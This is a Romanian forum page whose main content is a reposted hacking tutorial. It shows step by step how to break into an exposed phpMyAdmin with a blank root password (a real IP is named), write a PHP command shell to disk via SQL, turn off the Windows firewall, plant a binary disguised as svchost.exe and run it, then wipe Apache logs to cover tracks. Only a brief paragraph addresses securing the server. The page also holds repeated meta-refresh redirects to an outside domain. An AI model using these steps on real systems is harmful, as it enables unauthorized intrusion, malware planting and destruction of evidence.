<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info">
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info">
|
Nou pe simpatie:
lonely_32
 | Femeie
24 ani
Valcea
cauta Barbat
26 - 57 ani |
|
|
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info">InregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
 GyuTuAdministrator
Postari: 90
|
|
TUTORIAL:
- http://84.32.69.160/phpmyadmin/
- pma or root as username, leave password blank
- Now click on "php-Informationen zeigen" on the right"
- search for the phpmyadmin path. copy it.
then you need a php - shell code. i made one
use mysql;
CREATE TABLE udssr (codetab text);
INSERT INTO udssr (codetab) values ('<? $cmd = $_REQUEST["-cmd"]; ?><html><head><title>help.php</title></head><onLoad="document.forms[0].elements[-cmd].focus()"><form method=POST><br><input type=TEXT name="-cmd" size=64 value="<?=$cmd?>"><hr><pre><? if($cmd != "" print Shell_Exec($cmd); ?></pre></form></body></html>');
SELECT * INTO OUTFILE 'C:/wamp/phpMyAdmin/phpinfo.php' from udssr;
DROP TABLE udssr;
FLUSH LOGS;
- replace the phpmyadmin path at line 6 with the path from the phpinfo.php
- then open a mysql query and put your shellcode in the white box ( choose mysql - database )
- press OK button, then as a result of this a green text should apear on the main page..
and shell was created successfully. if not, maybe the help.php already exists or the temptab ..
just replace it in your code
- type in your IE http://127.0.0.1/phpmyadmin/help.php
- then the php cmd shell should appear
- you can put in the usual windows cmds.. how to hack this i clear, isn t it?
- ok, but sometimes, you cannot add a user for using terminal service,
or can t use the tftp, or ftp script, and you will see no chance, to put on your files
on the box.
first check, if the Windows-Firewall is off net stop SharedAccess
now try to ping the box, maybe it s firewalled.. try to connect via TS, ok, sometimes
it s not open.
- go back to the start screen. open a mysql query
- put this in it :
use test;
create table test.temp(temp longblob);
- you have created a table called "temp" in database "test". Table-Type is longblob ,
that is a data-typ for large texts or binary data ( e.g. pictures and files ) ,
it s called different in different databases. BLOB stands for Binary Large Object
- choose temp table from the left site.. like on the picture above and click on "einfuegen" or "insert".
and choose your ftp file or selfextracting package on your HDD and klick OK
- even on your homepc, the next step will take some more time, because the phpmyadmin has to store your program
into the table..
- when the files is uploaded in the table
open a mysql query and put this in it:
select * into dumpfile C:/apachefriends/xampp/phpmyadmin/svchost.exe' from test.temp;
C:/apachefriends/xampp/phpmyadmin/ .. is the phpmyadmin path of this box !!
You will drop the file you have uploaded in the table to the phpmyadmin dir..
- then go back to your php shell
http://127.0.0.1/phpmyadmin/help.php
- type "dir" command, you will see your svchost.exe now.
start it, and enjoy
SECURING :
securing phpmyadmin is very easy. choose "rechte" or "rights" on the main screen
then delete all users which have blank password and % at host
all other users which have blank password and "localhost" at host, change rights to "userrights" by clicking the
editing-pencil behind it and del all rights from him
DELETiNG LOGS :
when you are on the box with your ftpd, go to the apache dir.. in one dir theres a xampp_stop.exe
site exec xampp_stop.exe !!
goto the phpmyadmin dir and move your ftp files and so on, goto apache dir, and delete all logs
in the same dir, in which xampp_stop.exe is, there s a xampp_start.exe
site exec xampp_start.exe
well done, have fun
mfg Bloodman
|
|
| |
|
